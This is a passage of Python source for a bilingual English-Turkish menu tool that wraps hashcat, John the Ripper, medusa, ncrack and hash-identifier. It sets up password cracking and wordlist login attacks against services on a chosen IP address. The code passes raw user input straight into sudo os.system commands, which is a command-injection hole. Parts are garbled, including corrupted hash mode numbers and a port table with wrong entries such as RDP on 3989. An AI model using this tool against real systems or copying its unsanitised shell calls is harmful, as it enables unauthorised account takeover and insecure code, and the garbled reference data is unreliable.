sha1($salt.sha1($pass)) | Raw Hash, Salted and/or Iterated\n 140 | sha1($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated\n 19300 | sha1($salt1.$pass.$salt2) | Raw Hash, Salted and/or Iterated\n 14400 | sha1(CX) | Raw Hash, Salted and/or Iterated\n 4700 | sha1(md5($pass)) | Raw Hash, Salted and/or Iterated\n 4710 | sha1(md5($pass).$salt) | Raw Hash, Salted and/or Iterated\n 21100 | sha1(md5($pass.$salt)) | Raw Hash, Salted and/or Iterated\n 18500 | sha1(md5(md5($pass))) | Raw Hash, Salted and/or Iterated\n 4500 | sha1(sha1($pass)) | Raw Hash, Salted and/or Iterated\n 130 | sha1(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated\n 1410 | sha256($pass.$salt) | Raw Hash, Salted and/or Iterated\n 1420 | sha256($salt.$pass) | Raw Hash, Salted and/or Iterated\n 22300 | sha256($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated\n 1440 | sha256($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated\n 20800 | sha256(md5($pass)) | Raw Hash, Salted and/or Iterated\n 20710 | sha256(sha256($pass).$salt) | Raw Hash, Salted and/or Iterated\n 1430 | sha256(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated\n 1710 | sha512($pass.$salt) | Raw Hash, Salted and/or Iterated\n 1720 | sha512($salt.$pass) | Raw Hash, Salted and/or Iterated\n 1740 | sha512($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated\n 1730 | sha512(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated\n 19500 | Ruby on Rails Restful-Authentication | Raw Hash, Salted and/or Iterated\n 50 | HMAC-MD5 (key = $pass) | Raw Hash, Authenticated\n 60 | HMAC-MD5 (key = $salt) | Raw Hash, Authenticated\n 150 | HMAC-SHA1 (key = $pass) | Raw Hash, Authenticated\n 160 | HMAC-SHA1 (key = $salt) | Raw Hash, Authenticated\n 1450 | HMAC-SHA256 (key = $pass) | Raw Hash, Authenticated\n 1460 | HMAC-SHA256 (key = $salt) | Raw Hash, Authenticated\n 1750 | HMAC-SHA512 (key = $pass) | Raw Hash, Authenticated\n 1760 | HMAC-SHA512 (key = $salt) | Raw Hash, Authenticated\n 11750 | HMAC-Streebog-256 (key = $pass), big-endian | Raw Hash, Authenticated\n 11760 | HMAC-Streebog-256 (key = $salt), big-endian | Raw Hash, Authenticated\n 11850 | HMAC-Streebog-512 (key = $pass), big-endian | Raw Hash, Authenticated\n 11860 | HMAC-Streebog-512 (key = $salt), big-endian | Raw Hash, Authenticated\n 11500 | CRC32 | Raw Checksum\n 14100 | 3DES (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack\n 14000 | DES (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack\n 15400 | ChaCha20 | Raw Cipher, Known-Plaintext attack\n 14900 | Skip32 (PT = $salt, key = $pass) | Raw Cipher, Known-Plaintext attack\n 11900 | PBKDF2-HMAC-MD5 | Generic KDF\n 12000 | PBKDF2-HMAC-SHA1 | Generic KDF\n 10900 | PBKDF2-HMAC-SHA256 | Generic KDF\n 12100 | PBKDF2-HMAC-SHA512 | Generic KDF\n 8900 | scrypt | Generic KDF\n 400 | phpass | Generic KDF\n 16900 | Ansible Vault | Generic KDF\n 12001 | Atlassian (PBKDF2-HMAC-SHA1) | Generic KDF\n 20200 | Python passlib pbkdf2-sha512 | Generic KDF\n 20300 | Python passlib pbkdf2-sha256 | Generic KDF\n 20400 | Python passlib pbkdf2-sha1 | Generic KDF\n 16100 | TACACS+ | Network Protocols\n 11400 | SIP digest authentication (MD5) | Network Protocols\n 5300 | IKE-PSK MD5 | Network Protocols\n 5400 | IKE-PSK SHA1 | Network Protocols\n 23200 | XMPP SCRAM PBKDF2-SHA1 | Network Protocols\n 2500 | WPA-EAPOL-PBKDF2 | Network Protocols\n 2501 | WPA-EAPOL-PMK | Network Protocols\n 22000 | WPA-PBKDF2-PMKID+EAPOL | Network Protocols\n 22001 | WPA-PMK-PMKID+EAPOL | Network Protocols\n 16800 | WPA-PMKID-PBKDF2 | Network Protocols\n 16801 | WPA-PMKID-PMK | Network Protocols\n 7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocols\n 10200 | CRAM-MD5 | Network Protocols\n 4800 | iSCSI CHAP authentication, MD5(CHAP) | Network Protocols\n 16500 | JWT (JSON Web Token) | Network Protocols\n 22600 | Telegram Desktop App Passcode (PBKDF2-HMAC-SHA1) | Network Protocols\n 22301 | Telegram Mobile App Passcode (SHA256) | Network Protocols\n 7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth | Network Protocols\n 13100 | Kerberos 5, etype 23, TGS-REP | Network Protocols\n 18200 | Kerberos 5, etype 23, AS-REP | Network Protocols\n 19600 | Kerberos 5, etype 17, TGS-REP | Network Protocols\n 19700 | Kerberos 5, etype 18, TGS-REP | Network Protocols\n 19800 | Kerberos 5, etype 17, Pre-Auth | Network Protocols\n 1back00 | Kerberos 5, etype 18, Pre-Auth | Network Protocols\n 5500 | NetNTLMv1 / NetNTLMv1+ESS | Network Protocols\n 5600 | NetNTLMv2 | Network Protocols\n 23 | Skype | Network Protocols\n 11100 | PostgreSQL CRAM (MD5) | Network Protocols\n 11200 | MySQL CRAM (SHA1) | Network Protocols\n 8500 | RACF | Operating System\n 6300 | AIX {smd5} | Operating System\n 6700 | AIX {ssha1} | Operating System\n 6400 | AIX {ssha256} | Operating System\n 6500 | AIX {ssha512} | Operating System\n 3000 | LM | Operating System\n 19000 | QNX /etc/shadow (MD5) | Operating System\n 19100 | QNX /etc/shadow (SHA256) | Operating System\n 19200 | QNX /etc/shadow (SHA512) | Operating System\n 15300 | DPAPI masterkey file v1 | Operating System\n 15900 | DPAPI masterkey file v2 | Operating System\n 7200 | GRUB 2 | Operating System\n 12800 | MS-AzureSync PBKDF2-HMAC-SHA256 | Operating System\n 12400 | BSDi Crypt, Extended DES | Operating System\n 1000 | NTLM | Operating System\n 122 | macOS v10.4, macOS v10.5, MacOS v10.6 | Operating System\n 1722 | macOS v10.7 | Operating System\n 7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating System\n back00 | Radmin2 | Operating System\n 5800 | Samsung Android Password/PIN | Operating System\n 3200 | bcrypt $2*$, Blowfish (Unix) | Operating System\n 500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating System\n 1500 | descrypt, DES (Unix), Traditional DES | Operating System\n 7400 | sha256crypt $5$, SHA256 (Unix) | Operating System\n 1800 | sha512crypt $6$, SHA512 (Unix) | Operating System\n 13800 | Windows Phone 8+ PIN/password | Operating System\n 2410 | Cisco-ASA MD5 | Operating System\n 9200 | Cisco-IOS $8$ (PBKDF2-SHA256) | Operating System\n 9300 | Cisco-IOS $9$ (scrypt) | Operating System\n 5700 | Cisco-IOS type 4 (SHA256) | Operating System\n 2400 | Cisco-PIX MD5 | Operating System\n 8100 | Citrix NetScaler (SHA1) | Operating System\n 22200 | Citrix NetScaler (SHA512) | Operating System\n 1100 | Domain Cached Credentials (DCC), MS Cache | Operating System\n 2100 | Domain Cached Credentials 2 (DCC2), MS Cache 2 | Operating System\n 7000 | FortiGate (FortiOS) | Operating System\n 125 | ArubaOS | Operating System\n 501 | Juniper IVE | Operating System\n 22 | Juniper NetScreen/SSG (ScreenOS) | Operating System\n 15100 | Juniper/NetBSD sha1crypt | Operating System\n 131 | MSSQL (2000) | Database Server\n 132 | MSSQL (2005) | Database Server\n 1731 | MSSQL (2012, 2014) | Database Server\n 12 | PostgreSQL | Database Server\n 3100 | Oracle H: Type (Oracle 7+) | Database Server\n 112 | Oracle S: Type (Oracle 11+) | Database Server\n 12300 | Oracle T: Type (Oracle 12+) | Database Server\n 7401 | MySQL $A$ (sha256crypt) | Database Server\n 200 | MySQL323 | Database Server\n 300 | MySQL4.1/MySQL5 | Database Server\n 8000 | Sybase ASE | Database Server\n 1421 | hMailServer | FTP, HTTP, SMTP, LDAP Server\n 8300 | DNSSEC (NSEC3) | FTP, HTTP, SMTP, LDAP Server\n 16400 | CRAM-MD5 Dovecot | FTP, HTTP, SMTP, LDAP Server\n 1411 | SSHA-256(Base64), LDAP {SSHA256} | FTP, HTTP, SMTP, LDAP Server\n 1711 | SSHA-512(Base64), LDAP {SSHA512} | FTP, HTTP, SMTP, LDAP Server\n 10901 | RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256) | FTP, HTTP, SMTP, LDAP Server\n 15000 | FileZilla Server >= 0.9.55 | FTP, HTTP, SMTP, LDAP Server\n 12600 | ColdFusion 10+ | FTP, HTTP, SMTP, LDAP Server\n 1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server\n 141 | Episerver 6.x < .NET 4 | FTP, HTTP, SMTP, LDAP Server\n 1441 | Episerver 6.x >= .NET 4 | FTP, HTTP, SMTP, LDAP Server\n 101 | nsldap, SHA-1(Base64), Netscape LDAP SHA | FTP, HTTP, SMTP, LDAP Server\n 111 | nsldaps, SSHA-1(Base64), Netscape LDAP SSHA | FTP, HTTP, SMTP, LDAP Server\n 7700 | SAP CODVN B (BCODE) | Enterprise Application Software (EAS)\n 7701 | SAP CODVN B (BCODE) from RFC_READ_TABLE | Enterprise Application Software (EAS)\n 7800 | SAP CODVN F/G (PASSCODE) | Enterprise Application Software (EAS)\n 7801 | SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE | Enterprise Application Software (EAS)\n 10300 | SAP CODVN H (PWDSALTEDHASH) iSSHA-1 | Enterprise Application Software (EAS)\n 133 | PeopleSoft | Enterprise Application Software (EAS)\n 13500 | PeopleSoft PS_TOKEN | Enterprise Application Software (EAS)\n 21500 | SolarWinds Orion | Enterprise Application Software (EAS)\n 8600 | Lotus Notes/Domino 5 | Enterprise Application Software (EAS)\n 8700 | Lotus Notes/Domino 6 | Enterprise Application Software (EAS)\n 9100 | Lotus Notes/Domino 8 | Enterprise Application Software (EAS)\n 20600 | Oracle Transportation Management (SHA256) | Enterprise Application Software (EAS)\n 4711 | Huawei sha1(md5($pass).$salt) | Enterprise Application Software (EAS)\n 20711 | AuthMe sha256 | Enterprise Application Software (EAS)\n 12200 | eCryptfs | Full-Disk Encryption (FDE)\n 22400 | AES Crypt (SHA256) | Full-Disk Encryption (FDE)\n 14600 | LUKS | Full-Disk Encryption (FDE)\n 13711 | VeraCrypt RIPEMD160 + XTS 512 bit | Full-Disk Encryption (FDE)\n 13712 | VeraCrypt RIPEMD160 + XTS 1024 bit | Full-Disk Encryption (FDE)\n 13713 | VeraCrypt RIPEMD160 + XTS 1536 bit | Full-Disk Encryption (FDE)\n 13741 | VeraCrypt RIPEMD160 + XTS 512 bit + boot-mode | Full-Disk Encryption (FDE)\n 13742 | VeraCrypt RIPEMD160 + XTS 1024 bit + boot-mode | Full-Disk Encryption (FDE)\n 13743 | VeraCrypt RIPEMD160 + XTS 1536 bit + boot-mode | Full-Disk Encryption (FDE)\n 13751 | VeraCrypt SHA256 + XTS 512 bit | Full-Disk Encryption (FDE)\n 13752 | VeraCrypt SHA256 + XTS 1024 bit | Full-Disk Encryption (FDE)\n 13753 | VeraCrypt SHA256 + XTS 1536 bit | Full-Disk Encryption (FDE)\n 13761 | VeraCrypt SHA256 + XTS 512 bit + boot-mode | Full-Disk Encryption (FDE)\n 13762 | VeraCrypt SHA256 + XTS 1024 bit + boot-mode | Full-Disk Encryption (FDE)\n 13763 | VeraCrypt SHA256 + XTS 1536 bit + boot-mode | Full-Disk Encryption (FDE)\n 13721 | VeraCrypt SHA512 + XTS 512 bit | Full-Disk Encryption (FDE)\n 13722 | VeraCrypt SHA512 + XTS 1024 bit | Full-Disk Encryption (FDE)\n 13723 | VeraCrypt SHA512 + XTS 1536 bit | Full-Disk Encryption (FDE)\n 13771 | VeraCrypt Streebog-512 + XTS 512 bit | Full-Disk Encryption (FDE)\n 13772 | VeraCrypt Streebog-512 + XTS 1024 bit | Full-Disk Encryption (FDE)\n 13773 | VeraCrypt Streebog-512 + XTS 1536 bit | Full-Disk Encryption (FDE)\n 13731 | VeraCrypt Whirlpool + XTS 512 bit | Full-Disk Encryption (FDE)\n 13732 | VeraCrypt Whirlpool + XTS 1024 bit | Full-Disk Encryption (FDE)\n 13733 | VeraCrypt Whirlpool + XTS 1536 bit | Full-Disk Encryption (FDE)\n 16700 | FileVault 2 | Full-Disk Encryption (FDE)\n 20011 | DiskCryptor SHA512 + XTS 512 bit | Full-Disk Encryption (FDE)\n 20012 | DiskCryptor SHA512 + XTS 1024 bit | Full-Disk Encryption (FDE)\n 20013 | DiskCryptor SHA512 + XTS 1536 bit | Full-Disk Encryption (FDE)\n 22100 | BitLocker | Full-Disk Encryption (FDE)\n 12900 | Android FDE (Samsung DEK) | Full-Disk Encryption (FDE)\n 8800 | Android FDE <= 4.3 | Full-Disk Encryption (FDE)\n 18300 | Apple File System (APFS) | Full-Disk Encryption (FDE)\n 6211 | TrueCrypt RIPEMD160 + XTS 512 bit | Full-Disk Encryption (FDE)\n 6212 | TrueCrypt RIPEMD160 + XTS 1024 bit | Full-Disk Encryption (FDE)\n 6213 | TrueCrypt RIPEMD160 + XTS 1536 bit | Full-Disk Encryption (FDE)\n 6241 | TrueCrypt RIPEMD160 + XTS 512 bit + boot-mode | Full-Disk Encryption (FDE)\n 6242 | TrueCrypt RIPEMD160 + XTS 1024 bit + boot-mode | Full-Disk Encryption (FDE)\n 6243 | TrueCrypt RIPEMD160 + XTS 1536 bit + boot-mode | Full-Disk Encryption (FDE)\n 6221 | TrueCrypt SHA512 + XTS 512 bit | Full-Disk Encryption (FDE)\n 6222 | TrueCrypt SHA512 + XTS 1024 bit | Full-Disk Encryption (FDE)\n 6223 | TrueCrypt SHA512 + XTS 1536 bit | Full-Disk Encryption (FDE)\n 6231 | TrueCrypt Whirlpool + XTS 512 bit | Full-Disk Encryption (FDE)\n 6232 | TrueCrypt Whirlpool + XTS 1024 bit | Full-Disk Encryption (FDE)\n 6233 | TrueCrypt Whirlpool + XTS 1536 bit | Full-Disk Encryption (FDE)\n 10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | Documents\n 10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | Documents\n 10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | Documents\n 10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | Documents\n 10600 | PDF 1.7 Level 3 (Acrobat 9) | Documents\n 10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | Documents\n 9400 | MS Office 2007 | Documents\n 9500 | MS Office 2010 | Documents\n 9600 | MS Office 2013 | Documents\n 9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents\n 9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents\n 9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents\n 9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Documents\n 9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Documents\n 9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Documents\n 18400 | Open Document Format (ODF) 1.2 (SHA-256, AES) | Documents\n 18600 | Open Document Format (ODF) 1.1 (SHA-1, Blowfish) | Documents\n 16200 | Apple Secure Notes | Documents\n 15500 | JKS Java Key Store Private Keys (SHA1) | Password Managers\n 6600 | 1Password, agilekeychain | Password Managers\n 8200 | 1Password, cloudkeychain | Password Managers\n 9000 | Password Safe v2 | Password Managers\n 5200 | Password Safe v3 | Password Managers\n 6800 | LastPass + LastPass sniffed | Password Managers\n 13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Managers\n 11300 | Bitcoin/Litecoin wallet.dat | Password Managers\n 16600 | Electrum Wallet (Salt-Type 1-3) | Password Managers\n 21700 | Electrum Wallet (Salt-Type 4) | Password Managers\n 21800 | Electrum Wallet (Salt-Type 5) | Password Managers\n 12700 | Blockchain, My Wallet | Password Managers\n 15200 | Blockchain, My Wallet, V2 | Password Managers\n 18800 | Blockchain, My Wallet, Second Password (SHA256) | Password Managers\n 23100 | Apple Keychain | Password Managers\n 16300 | Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256 | Password Managers\n 15600 | Ethereum Wallet, PBKDF2-HMAC-SHA256 | Password Managers\n 15700 | Ethereum Wallet, SCRYPT | Password Managers\n 22500 | MultiBit Classic .key (MD5) | Password Managers\n 22700 | MultiBit HD (scrypt) | Password Managers\n 11600 | 7-Zip | Archives\n 12500 | RAR3-hp | Archives\n 13000 | RAR5 | Archives\n 17200 | PKZIP (Compressed) | Archives\n 17220 | PKZIP (Compressed Multi-File) | Archives\n 17225 | PKZIP (Mixed Multi-File) | Archives\n 17230 | PKZIP (Mixed Multi-File Checksum-Only) | Archives\n 17210 | PKZIP (Uncompressed) | Archives\n 20500 | PKZIP Master Key | Archives\n 20510 | PKZIP Master Key (6 byte optimization) | Archives\n 14700 | iTunes backup < 10.0 | Archives\n 14800 | iTunes backup >= 10.0 | Archives\n 23001 | SecureZIP AES-128 | Archives\n 23002 | SecureZIP AES-192 | Archives\n 23003 | SecureZIP AES-256 | Archives\n 13600 | WinZip | Archives\n 18900 | Android Backup | Archives\n 13200 | AxCrypt | Archives\n 13300 | AxCrypt in-memory SHA1 | Archives\n 8400 | WBB3 (Woltlab Burning Board) | Forums, CMS, E-Commerce\n 2611 | vBulletin < v3.8.5 | Forums, CMS, E-Commerce\n 2711 | vBulletin >= v3.8.5 | Forums, CMS, E-Commerce\n 2612 | PHPS | Forums, CMS, E-Commerce\n 121 | SMF (Simple Machines Forum) > v1.1 | Forums, CMS, E-Commerce\n 3711 | MediaWiki B type | Forums, CMS, E-Commerce\n 4521 | Redmine | Forums, CMS, E-Commerce\n 11 | Joomla < 2.5.18 | Forums, CMS, E-Commerce\n 13900 | OpenCart | Forums, CMS, E-Commerce\n 11000 | PrestaShop | Forums, CMS, E-Commerce\n 16000 | Tripcode | Forums, CMS, E-Commerce\n 7900 | Drupal7 | Forums, CMS, E-Commerce\n 21 | osCommerce, xt:Commerce | Forums, CMS, E-Commerce\n 4522 | PunBB | Forums, CMS, E-Commerce\n 2811 | MyBB 1.2+, IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce\n 18100 | TOTP (HMAC-SHA1) | One-Time Passwords\n 2000 | STDOUT | Plaintext\nbackback9 | Plaintext | Plaintext\n 21600 | Web2py pbkdf2-sha512 | Framework\n 10000 | Django (PBKDF2-SHA256) | Framework\n 124 | Django (SHA-1) | Framework\n") elif "--brute" in uinput.lower(): print("? | \x1b[33mCharset\x1b[37m\n==+=========\nl | abcdefghijklmnopqrstuvwxyzu | ABCDEFGHIJKLMNOPQRSTUVWXYZ\nd | 0123456789\nh | 0123456789abcdef\nH | 0123456789ABCDEF\ns | !#*+,-.^_`{|}\na | ?l?u?d?s\nb | 0x00 - 0xff\n\n\x1b[33mUsage:\x1b[37m\n\x1b[33m======\x1b[37m\n\x1b[32mex:\x1b[37m mert123* = ?l?l?l?l?d?d?d?s\n\x1b[32mex:\x1b[37m mert123* = ?a?a?a?a?a?a?a?a") elif "run" == uinput.lower(): print("\x1b[1m\x1b[31m'Command not found. You can check the run command by typing 'info'\x1b[1m") elif "run -w" == uinput.lower(): os.system("sudo hashcat -a 0 -m " + hashmode + " " + hash + " " + wordlist) elif "run -b" == uinput.lower(): os.system("sudo hashcat -a 3 -m " + hashmode + " " + hash + " " + bruteforce) def john(): hashlist = " " search = " " format = " " wordlist = " " hash = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[john]\033[37m\x1b[0m ") UserInputs(uinput+"pass") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mIt breaks one-way encryption algorithms (hashes) with wordlist.\nUsage:\nYou do not need to fill in \x1b[36m'LIST'\x1b[37m to see the hash list. Just type \x1b[36m'run --hash list' \x1b[37mor \x1b[36m'run -hl'\x1b[37m.\nTo search in the hash list, fill in \x1b[36m'FIND'\x1b[37m and type \x1b[32m'run --search' \x1b[36mor\x1b[37m 'run -s'\x1b[37m.\nTo hash hash using Wordlist, fill in \x1b[36m'FORMAT'\x1b[37m, \x1b[36m'WORDLIST'\x1b[37m and \x1b[36m'HASH'\x1b[37m and type \x1b[36m'run -x'\x1b[37m.\n\n\x1b[33mTR:\x1b[37mWordlist ile tek yönlü şifreleme algoritmalarını (hashes) kırar. \nKullanımı:\nHash listesini görmek için \x1b[36m'LIST'\x1b[37m kısmını doldurmanıza gerek yoktur. Sadece \x1b[36m'run --hash list'\x1b[37m ya da \x1b[36m'run -hl'\x1b[37m yazın.\nHash listesi içerisinde arama yapmak için \x1b[36m'FIND'\x1b[37m kısmını doldurun ve \x1b[36m'run --search'\x1b[37m or \x1b[36m'run -s'\x1b[37m yazın.\nWordlist kullanarak hash kırmak için \x1b[36m'FORMAT'\x1b[37m, \x1b[36m'WORDLIST'\x1b[37m ve \x1b[36m'HASH'\x1b[37m kısımlarını doldurup \x1b[36m'run -x'\x1b[37m yazın.\n") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nLIST {} NO Lists hashes that can be cracked. \x1b[33musage: 'run --hash list' or 'run -hl'\x1b[37m\nFIND {} NO Searches within breakable hashes \x1b[32mex: MD5\x1b[37m \x1b[33musage: 'run --search' or 'run -s'\x1b[37m\nFORMAT {} YES Specify the hash format \x1b[32mex: Raw-MD5\x1b[37m\nWORDLIST{} YES Specify the wordlist you will use to crack the hash \x1b[32mex: /root/Desktop/wordlist.txt\x1b[37m\nHASH {} YES Enter the file with hash in it \x1b[32mex: /root/Desktop/hash.txt\x1b[37m".format(hashlist[::-1],search,format,wordlist,hash)) elif "set list" in uinput.lower(): hashlist = uinput hashlist = hashlist.replace("set list ","").replace("set LIST ","").replace("SET list ","").replace("SET LIST ","").center(25) elif "set find" in uinput.lower(): search = uinput search = search.replace("set find ","").replace("set FIND ","").replace("SET find ","").replace("SET FIND ","").center(25) elif "set format" in uinput.lower(): format = uinput format = format.replace("set format ","").replace("set FORMAT ","").replace("SET format ","").replace("SET FORMAT ","").center(25) elif "set wordlist" in uinput.lower(): wordlist = uinput wordlist = wordlist.replace("set wordlist ","").replace("set WORDLIST ","").replace("SET wordlist ","").replace("SET WORDLIST ","").center(25) elif "set hash" in uinput.lower(): hash = uinput hash = hash.replace("set hash ","").replace("set HASH ","").replace("SET hash ","").replace("SET HASH ","").center(25) elif "run" == uinput.lower(): print("\x1b[1m\x1b[31mCommand not found. You can check the run command by typing 'info'\x1b[1m") elif "run --hash list" == uinput.lower() or "run -hl" == uinput.lower(): os.system("john --list=formats") elif "run --search" == uinput.lower() or "run -s" == uinput.lower(): os.system("john --list=formats | grep -i " + search.strip()) elif "run -x" == uinput.lower(): os.system("john --format=" + format.strip() + " --wordlist=" + wordlist.strip() + " " + hash.strip()) def medusa(): ip = " " service = " " userlist = " " passlist = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[medusa]\033[37m\x1b[0m ") UserInputs(uinput+"pass") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mWordlist attack on services.\n\x1b[33mTR:\x1b[37mServislere yönelik wordlist saldırısı.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nIP {} YES Target ip address \x1b[32mex: 108.96.10.8\x1b[37m\nSERVICE {} YES Which service? \x1b[32mex: ftp\x1b[37m\nUSERLIST {} YES Enter a wordlist with usernames \x1b[32mex: /root/Desktop/username.txt\x1b[37m\nPASSLIST {} YES Enter a wordlist with passwords \x1b[32mex: /root/Desktop/passwords.txt\x1b[37m".format(ip,service,userlist,passlist)) elif "set ip" in uinput.lower(): ip = uinput ip = ip.replace("set ip ","").replace("set IP ","").replace("SET ip ","").replace("SET IP ","").center(25) elif "set service" in uinput.lower(): service = uinput service = service.replace("set service ","").replace("set SERVICE ","").replace("SET service ","").replace("SET SERVICE ","").center(25) elif "set userlist" in uinput.lower(): userlist = uinput userlist = userlist.replace("set userlist ","").replace("set USERLIST ","").replace("SET userlist ","").replace("SET USERLIST ","").center(25) elif "set passlist" in uinput.lower(): passlist = uinput passlist = passlist.replace("set passlist ","").replace("set PASSLIST ","").replace("SET passlist ","").replace("SET PASSLIST ","").center(25) elif "run" == uinput.lower(): os.system("sudo medusa -h " + ip.strip() + " -M " + service.strip() + " -U " + userlist.strip() + " -P " + passlist.strip()) print("Process Completed") def ncrack(): ip = " " port = " " userlist = " " passlist = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[ncrack]\033[37m\x1b[0m ") UserInputs(uinput+"pass") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mWordlist attack on services.\n\x1b[33mTR:\x1b[37mServislere yönelik wordlist saldırısı.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nIP {} YES Target ip address \x1b[32mex: 108.96.10.8\x1b[37m\nPORT {} YES Which service? Type \x1b[33m'--services and ports' \x1b[35mor\x1b[33m '-sap'\x1b[37m to see the ports used by the services. \x1b[32mex: ftp\x1b[37m\nUSERLIST {} YES Enter a word list with usernames in it \x1b[32mex: /root/Desktop/username.txt\x1b[37m\nPASSLIST {} YES Enter a word list with passwords \x1b[32mex: /root/Desktop/passwords.txt\x1b[37m".format(ip,port,userlist,passlist)) elif "set ip" in uinput.lower(): ip = uinput ip = ip.replace("set ip ","").replace("set IP ","").replace("SET ip ","").replace("SET IP ","").center(25) elif "set port" in uinput.lower(): port = uinput port = port.replace("set port ","").replace("set PORT ","").replace("SET port ","").replace("SET PORT ","").center(25) elif "set userlist" in uinput.lower(): userlist = uinput userlist = userlist.replace("set userlist ","").replace("set USERLIST ","").replace("SET userlist ","").replace("SET USERLIST ","").center(25) elif "set passlist" in uinput.lower(): passlist = uinput passlist = passlist.replace("set passlist ","").replace("set PASSLIST ","").replace("SET passlist ","").replace("SET PASSLIST ","").center(25) elif "--services and ports" == uinput.lower() or "-sap" == uinput.lower(): print("\x1b[1m\nFTP = \x1b[33m21\x1b[37m\nSSH = \x1b[33m22\x1b[37m\nTelnet = \x1b[33m23\x1b[37m\nVNC = \x1b[33m5900\x1b[37m\nRPD = \x1b[33m3989\x1b[37m\nMySQL = \x1b[33m3306\x1b[37m\nPostgreSQL = \x1b[33m5432\x1b[37m\nMSSQL = \x1b[33z1433\x1b[37m\nMongoDB = \x1b[33m27017\x1b[37m\nSMB = \x1b[33m'139' \x1b[35mor\x1b[33m '445'\x1b[37m\nHTTP(S) = \x1b[33m'80' \x1b[35mor\x1b[33m '443'\x1b[37m\nPOP3(S) = \x1b[33m'110' \x1b[35mor\x1b[33m '995'\x1b[37m\nIMAP = \x1b[33m143\x1b[37m\nCVS = \x1b[33m2401\x1b[37m\nMQTT = \x1b[33m143\x1b[37m\nDICOM = \x1b[33m1883\x1b[37m\nSIP = \x1b[33m5060\x1b[37m\nRedis = \x1b[33m6379\x1b[37m\nCassandra = \x1b[33m9042\x1b[37m\n") elif "run" == uinput.lower(): os.system("sudo ncrack -p " + port.strip() + " -U " + userlist.strip() + " -P " + passlist.strip() + " " + ip.strip()) print("Process Completed") def hashIdentifier(): search = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[hash-identifier]\033[37m\x1b[0m ") UserInputs(uinput+"pass") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mHash Identifier is a tool that detects the encrypted hash algorithm. \x1b[36m'run'\x1b[37m command does not work, try with \x1b[36m'run -f'\x1b[37m (-f : --force). \n\x1b[33mTR:\x1b[37mHash Identifier, kriptolanan hash/şifre algoritmasını tespit eden bir araçtır. \x1b[36m'run'\x1b[37m komutu çalışmazsa \x1b[36m'run -f'\x1b[37m (-f : --force) ile deneyiniz.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nSEARCH{} YES Hash value \x1b[32mex: 55e8bb2e1b456ebbec8ae5ba64311a2c\x1b[37m".format(search)) elif "set search" in uinput.lower(): search = uinput search = search.replace("set search ","").replace("set SEARCH ","").replace("SET search ","").replace("SET SEARCH ","").center(50) elif "run" == uinput.lower(): os.system("hash-identifier " + search.strip()) print("Process Completed") elif "run -f" == uinput.lower(): os.system("hashid " + search.strip()) print("Process Completed") def wordlists(): kernel = os.popen('uname -v').read().split(" ")[3] if "kali" in kernel: while 1: os.system("clear") print("\x1b[1m\n\x1b[31m*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\x1b[33mWordlist 